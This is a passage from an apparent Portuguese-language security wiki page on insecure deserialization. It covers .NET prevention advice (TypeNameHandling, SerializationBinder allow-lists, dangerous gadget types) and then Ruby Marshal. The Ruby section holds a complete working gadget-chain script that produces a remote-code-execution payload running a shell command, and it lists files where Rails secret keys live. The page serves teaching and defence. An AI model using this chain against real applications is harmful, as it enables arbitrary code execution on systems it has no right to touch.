            TypeNameHandling = TypeNameHandling.Auto
        });
        return obj;
    }

No código anterior é vulnerável ao exploit criado. Portanto, se você encontrar algo semelhante em um aplicativo .Net, isso significa que provavelmente esse aplicativo também é vulnerável.
Portanto, o parâmetro --test nos permite entender quais trechos de código são vulneráveis ao exploit de deserialização que ysoserial.net pode criar.

ViewState

Dê uma olhada neste POST sobre como tentar explorar o parâmetro __ViewState do .Net para executar código arbitrário. Se você já conhece os segredos usados pela máquina vítima, leia este post para saber como executar código.

Prevenção

Não permita que o fluxo de dados defina o tipo de objeto para o qual o fluxo será desserializado. Você pode evitar isso, por exemplo, usando o DataContractSerializer ou XmlSerializer, se possível.

Onde o JSON.Net está sendo usado, certifique-se de que o TypeNameHandling esteja definido apenas como None.

TypeNameHandling = TypeNameHandling.None

Se for usar o JavaScriptSerializer, não use-o com um JavaScriptTypeResolver.

Se você precisar desserializar fluxos de dados que definem seu próprio tipo, restrinja os tipos que são permitidos ser desserializados. Deve-se estar ciente de que isso ainda é arriscado, pois muitos tipos nativos do .Net são potencialmente perigosos em si mesmos. Por exemplo:

System.IO.FileInfo

Objetos FileInfo que referenciam arquivos que estão realmente no servidor podem, quando desserializados, alterar as propriedades desses arquivos, como torná-los somente leitura, criando um potencial ataque de negação de serviço.

Mesmo que você tenha limitado os tipos que podem ser desserializados, lembre-se de que alguns tipos têm propriedades arriscadas. System.ComponentModel.DataAnnotations.ValidationException, por exemplo, tem uma propriedade Value do tipo Object. Se este tipo for permitido para desserialização, um invasor pode definir a propriedade Value para qualquer tipo de objeto que escolher.

Os invasores devem ser impedidos de direcionar o tipo que será instanciado. Se isso for possível, até mesmo DataContractSerializer ou XmlSerializer podem ser subvertidos, por exemplo.

// Action below is dangerous if the attacker can change the data in the database
var typename = GetTransactionTypeFromDatabase();  

var serializer = new DataContractJsonSerializer(Type.GetType(typename));

var obj = serializer.ReadObject(ms);

A execução pode ocorrer dentro de certos tipos .Net durante a desserialização. Criar um controle como o mostrado abaixo é ineficaz.

var suspectObject = myBinaryFormatter.Deserialize(untrustedData);

//Check below is too late! Execution may have already occurred.
if (suspectObject is SomeDangerousObjectType)
{
    //generate warnings and dispose of suspectObject
}

Para BinaryFormatter e JSON.Net, é possível criar uma forma mais segura de controle de lista branca usando um SerializationBinder personalizado.

Tente se manter atualizado sobre os gadgets de deserialização inseguros conhecidos do .Net e preste atenção especial onde tais tipos podem ser criados pelos seus processos de deserialização. Um desserializador só pode instanciar tipos que ele conhece.

Tente manter qualquer código que possa criar gadgets potenciais separado de qualquer código que tenha conectividade com a internet. Como exemplo, System.Windows.Data.ObjectDataProvider usado em aplicativos WPF é um gadget conhecido que permite a invocação arbitrária de métodos. Seria arriscado ter uma referência a este assembly em um projeto de serviço REST que desserializa dados não confiáveis.

Referências

Ruby

Ruby tem dois métodos para implementar serialização dentro da biblioteca marshal: o primeiro método é dump que converte o objeto em fluxos de bytes (serializar). E o segundo método é load para converter o fluxo de bytes em objeto novamente (desserializar).
Ruby usa HMAC para assinar o objeto serializado e salva a chave em um dos seguintes arquivos:

  • config/environment.rb
  • config/initializers/secret_token.rb
  • config/secrets.yml
  • /proc/self/environ

Cadeia de gadgets de deserialização genérica do Ruby 2.X para RCE (mais informações em https://www.elttam.com/blog/ruby-deserialization/):

#!/usr/bin/env ruby

class Gem::StubSpecification
  def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
  def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
  def marshal_dump
    [$dependency_list]
  end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
  pipe.print payload
  pipe.close_write
  puts pipe.gets
  puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Outra cadeia de RCE para explorar o Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥